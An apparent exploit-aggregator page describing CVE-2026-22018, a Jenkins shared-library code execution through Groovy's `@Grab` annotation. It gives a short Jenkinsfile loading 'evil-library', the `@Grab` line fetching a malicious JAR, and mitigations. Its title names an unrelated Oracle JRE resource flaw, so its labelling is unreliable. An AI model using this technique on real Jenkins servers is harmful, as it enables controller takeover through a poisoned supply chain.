Exploit for Allocation of Resources Without Limits or Throttling in Oracle Jre

## https://sploitus.com/exploit?id=E773B9CF-1C65-5346-B1F2-90D2B1B48544
---

## CVE-2026-22018 – Jenkins Pipeline Shared Library Code Execution via `@Grab`

### Program Code (Groovy pipeline)

```groovy
// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

```

# CVE-2026-22018 – Jenkins Pipeline Shared Library Remote Code Execution

![Severity: Critical](https://img.shields.io/badge/severity-critical-red)

## Overview
A Jenkins pipeline loads a shared library from a source not fully trusted. The library uses the `@Grab` annotation to download external Maven artifacts, which can include a malicious class that executes code on the Jenkins controller during Groovy compilation.

## Vulnerability Details
- **Type:** Code Injection / Supply Chain
- **Impact:** Full Jenkins controller compromise.
- **Root Cause:** Groovy’s `@Grab` annotation fetches and loads arbitrary JARs at runtime; shared libraries are not sandboxed.

## Exploit Demonstration
Configure a pipeline with an untrusted library that contains `@Grab('com.evil:malware:1.0')` in its `vars/evilStep.groovy`. When the pipeline runs, the malicious JAR’s static initializer executes.

## Mitigation
- Only use shared libraries from trusted, signed SCM repositories.
- Disable `@Grab` via Groovy sandbox security settings.
- Use the “Load implicitly” pipeline option carefully.

## Installation & Usage
```bash
git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.